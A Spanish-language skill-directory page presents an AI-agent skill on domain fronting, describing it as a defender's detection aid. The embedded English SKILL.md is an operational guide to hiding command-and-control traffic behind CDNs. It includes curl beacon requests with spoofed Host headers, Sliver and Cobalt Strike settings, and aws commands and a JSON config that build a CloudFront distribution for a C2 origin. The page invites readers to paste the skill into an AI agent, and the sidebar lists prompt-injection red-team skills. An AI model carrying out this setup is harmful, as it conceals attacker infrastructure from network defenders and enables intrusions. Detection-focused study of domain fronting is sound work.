c2-domain-fronting
Qué hace
Esta guía describe el domain fronting, un método en el que el tráfico parece dirigirse a una CDN muy conocida mientras se enruta a otro destino. Va dirigida a defensores de red que quieren detectar este patrón.
Cuándo usarla
- ✓Cuando un equipo de red quiere comprobar si el tráfico a una CDN tiene nombres de host que no coinciden.
- ✓Cuando un ejercicio autorizado simula tráfico oculto en una CDN para practicar la detección.
- ✓Cuando un equipo de seguridad revisa si su proxy inspecciona el tráfico cifrado de las CDN.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Nuestro proxy puede detectar tráfico que dice ir a una CDN importante pero tiene un nombre de host que no coincide? Por favor, ayúdame a comprobarlo.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente revisa los registros del proxy y del DNS en busca de nombres de servidor y cabeceras de host que no coinciden, y sugiere reglas de detección para esa diferencia.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Domain Fronting & CDN Abuse for C2
Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
Quick Reference
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
1. The Domain Fronting Technique
How It Works
┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐
│ Implant │ ─────────────────────────────────► │ CDN │
│ │ Host: c2.attacker.cloudfront.net │ Edge │
└─────────┘ └────┬─────┘
│ Routes by Host header
▼
┌──────────┐
│ C2 Origin│
│ Server │
└──────────┘
TLS layer (visible to network monitor):
- SNI =
allowed.example.com(high-reputation domain on same CDN) - Certificate = CDN wildcard cert (e.g.,
*.cloudfront.net) - IP = CDN edge node
HTTP layer (inside TLS, invisible to monitor):
Host: c2-distribution.cloudfront.net→ CDN routes to operator's origin
Result: Blocking the C2 requires blocking the entire CDN.
Requirements
- CDN that routes by Host header (not all do — see provider matrix)
- A legitimate high-reputation domain on the same CDN for the SNI
- Operator's C2 server registered as a CDN origin/backend
- The CDN must not enforce SNI == Host (many now do)
2. CloudFront Domain Fronting
Setup
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net
# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front
# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable
CloudFront Configuration
# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment": ""
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
Current Status (CloudFront)
AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a con
Preguntas frecuentes
¿Qué es el domain fronting?
Es cuando el nombre de servidor visible es distinto del nombre dentro de la solicitud, de modo que el tráfico puede enrutarse a través de una CDN de confianza.
¿Por qué es difícil de bloquear?
Bloquearlo puede significar bloquear toda la CDN, de la que dependen muchos servicios.
¿Qué deben buscar los defensores?
Nombres de servidor y cabeceras de host que no coinciden en los registros de tráfico cifrado.
Detalles
Descripción original del autor
Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14128
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.